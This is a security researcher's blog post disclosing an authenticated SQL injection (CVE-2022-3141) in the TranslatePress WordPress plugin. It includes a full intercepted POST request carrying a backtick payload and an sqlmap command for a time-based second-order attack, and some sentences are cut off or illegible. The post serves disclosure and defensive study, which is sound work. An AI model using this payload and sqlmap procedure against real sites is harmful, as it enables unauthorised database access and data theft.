Elias Hohl Follow

Jul 23 · 5 min read · Listen

Save

Authenticated SQL injection vulnerability in “Translatepress Multilingual” Wordpress plugin

While investigating Wordpress plugins, I stumbled upon “Translatepress Multilingual”, which is used to make Wordpress pages available in multiple languages and has 200,000 active installations.

Translate Multilingual sites - TranslatePress

Experience a better way to translate your WordPress site and go multilingual, directly from the front-end using a...

wordpress.org

WordPress Translation Plugin - TranslatePress

A WordPress translation plugin that anyone can use. Experience a better way of translating your WordPress site, with...

translatepress.com

It is not so easy to find SQL injections in Wordpress plugins, as wordpress has a feature called “magic quotes”, which means it automatically applies the `addslashes` PHP function to all GET and POST input, e[illegible]s and backslashes. Therefore, many of the classic SQL injection attacks ca[illegible]against wordpress, as it is impossible to

In the Translatepress source code, there are a couple of functions that look like this:

The language code taken from the input parsed by a function called `get_table_name` and in addition to the magic quotes protection, we also have to bypass

The language code is prefixed with a constant string and a filter is applied. However, I could not find this filter, so this seems to have no effect.

When looking at the SQL query, you can see that the table name is only surrounded by backticks. However, neither `sanitize_text_field` nor the magic quotes escape backticks.

I fired up a brand new Wordpress instance using `docker-compose` as described in this

 

I installed and activated the at the time latest version of Translatepress Multilingual, 2.3.2. Then, I went to the Translatepress settings page, added a random language, English (UK), and intercepted the request with Burp Suite. Time to start injecting some payloads!

I started with `` `x=%23 ``, where `%23` refers to `#`, which is needed to comment out the rest of the query. This should trigger an error if we can escape the backticks.

Request

Pretty Raw Hex \n

```
1  POST /wp-admin/options.php HTTP/1.1
2  Host: 10.0.0.240
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5  Accept-Language: de,en-US;q=0.7,en;q=0.3
6  Accept-Encoding: gzip, deflate
7  Referer: http://10.0.0.240/wp-admin/options-general.php?page=translate-press
8  Content-Type: application/x-www-form-urlencoded
9  Content-Length: 1085
10 Origin: http://10.0.0.240
11 Connection: close
12 Cookie: wordpress_4516885c9c17d3a8ae58c53ae0ba20a6=
   admin%7C1658746373%7CIhrmcV21uPrCK8j6DR2ZjrpZQJHELc7M9u9bKomegE5%7Cf2bf95a6bbbdcb85f98b3c
   c9013e542f098f185cf66966d983719c2a2cf208da; wordpress_test_cookie=WP%20Cookie%20check;
   wordpress_logged_in_4516885c9c17d3a8ae58c53ae0ba20a6=
   admin%7C1658746373%7CIhrmcV21uPrCK8j6DR2ZjrpZQJHELc7M9u9bKomegE5%7C9863bcc6e3312a35eb8827
   dc4f7a050365545be7e34f81d5a0e99eb748426caa; wp-settings-time-1=1658576016
13 Upgrade-Insecure-Requests: 1
14
15 option_page=trp_settings&action=update&_wpnonce=2420242cc8&_wp_http_referer=
   %2Fwp-admin%2Foptions-general.php%3Fpage%3Dtranslate-press%26settings-updated%3Dtrue&
   trp_settings%5Bdefault-language%5D=en_US&trp_settings%5Bpublish-languages%5D%5B%5D=en_US&
   trp_settings%5Btranslation-languages%5D%5B%5D=en_US`x=%23&
   trp_settings%5Btranslation-languages-formality%5D%5B%5D=default&
   trp_settings%5Burl-slugs%5D%5Ben_US%5D=en&trp_settings%5Btranslation-languages%5D%5B%5D=
   en_GB&trp_settings%5Bpublish-languages%5D%5B%5D=en_GB&
   trp_settings%5Btranslation-languages-formality%5D%5B%5D=default&
   trp_settings%5Burl-slugs%5D%5Ben_GB%5D=en_gb&trp_settings%5Bnative_or_english_name%5D=
   english_name&trp_settings%5Badd-subdirectory-to-default-language%5D=no&
   trp_settings%5Bforce-language-to-custom-links%5D=yes&trp_settings%5Bshortcode-options%5D=
   flags-full-names&trp_settings%5Bmenu-options%5D=flags-full-names&
   trp_settings%5Btrp-ls-floater%5D=yes&trp_settings%5Bfloater-options%5D=flags-full-names&
   trp_settings%5Bfloater-color%5D=dark&trp_settings%5Bfloater-position%5D=bottom-right&
   trp_email_course_email=
```

And yes, we can see a couple of SQL syntax errors flooding the window where we ran

We can see from these errors that our payload gets inserted into multiple statements, namely `CREATE TABLE` , `CREATE_INDEX` and `CREATE FULLTEXT INDEX` . However, these commands seemed uncommon to achieve a useful SQL injection attack vector, so I kept looking.

I went to the “Pages” section, opened “Sample Page” and clicked “Translate”. An editor opened up where I could translate strings, and I noticed more error messages in the Wordpress log.

Note that this happened without submitting another payload. My previous payload got inserted in some other statements, e.g. `SELECT` . As we can control the full SQL query after the table name, I concluded it should be easy to utilize a time-based payload.

I copied the POST request that adds a language from Burp Suite to

I also copied the GET request where we can execute the payload in a `SELECT` statement to `translatepress_req_2.txt` :

Time to launch `sqlmap` to execute a so-called second-order attack (because we have different pages for submitting the payload and viewing the result). This is the right command to use, specifying a few non-default option to speed up the detection:

```
sqlmap -r translatepress_req.txt -p trp_settings%5Btranslation-
languages%5D%5B%5D — dbms=mysql — second-req translatepress_req_2.txt
— technique=T — level 5 — risk 3 — fresh-queries
```

It might also be possible to exploit this vulnerability using a boolean-based blind or UNION technique. It did not work out of the box, probably because the payload is inserted in many statements and breaks at least one of the queries that are necessary to show proper output. I did not spend much time trying to improve this, as I already had a time-based PoC.

This exploit can only be executed by an authenticated user, as you need to add a new language. I don't know the Translatepress ecosystem well enough to know if only the administrator can add languages, or also some other roles. This might also depend on installed addons and custom configurations.

It is also worth noting that above PoC might need to be modified a little when the Pro version of Translatepress is attacked. Both Pro and Free are vulnerable, as the code responsible for the sanitization is the same, but I have not actually tried this yet with a Pro installation.

Shortly after I reported this vulnerability to the vendor, they released a patched update (version 2.3.3) which is using a regular expression to block malicious language codes.


The vulnerability has been assigned CVE-2022–3141.

You can find this exploit also on Github:

GitHub - ehtec/translatepress-exploit: Authenticated SQL injection vulnerability in "Translatepress...

Authenticated SQL injection vulnerability in "Translatepress Multilingual" Wordpress plugin - GitHub ...

github.com

If you want to read about more vulnerabilities I discover, make sure you follow me on LinkedIn, Medium & Twitter:

Elias Hohl | Linktree

Cybersecurity Expert | Developer | Physicist

linktr.ee

If you run a company and are looking for an expert to make sure your web applications are secure, feel free to send an email to elias.hohl@ehtec.co to receive an offer.